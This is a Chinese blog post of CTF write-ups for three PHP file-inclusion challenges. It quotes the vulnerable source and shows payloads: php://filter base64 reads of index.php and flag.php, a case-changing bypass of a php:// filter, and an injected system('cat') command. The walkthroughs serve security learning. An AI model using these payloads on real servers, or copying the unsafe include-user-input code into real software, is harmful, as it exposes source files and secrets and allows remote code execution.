文件包含漏洞+PHP的伪协议

BugkuCTF

题目链接👉 flag在index里

点击发现url中有 ?file=show.php 并且题目flag在index里 猜测文件包含PHP伪协议


猜测php://被过滤

构造payload

?file=php://filter/read=convert.base64-encode/resource=index.php

用base64解码找到flag

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
 

XCTF

题目链接👉 Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

分析源码可知 php://被过滤了,将PHP随机变换大小写后用burpsuite抓包查看文件目录

<?php system('cat 文件名.扩展名');?>

猜测其中一个含flag,查看内容得到flag

BUUCTF

题目👉 [ACTF2020 新生赛]Include1


点击tips发现url中有 ?file=flag.php 并且题目 include 猜测文件包含PHP伪协议

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

然后对得到的字符串进行base64解密得到flag:

posted on 2020-08-05 08:31  绀香零八  阅读(767)  评论(0编辑  收藏  举报

导航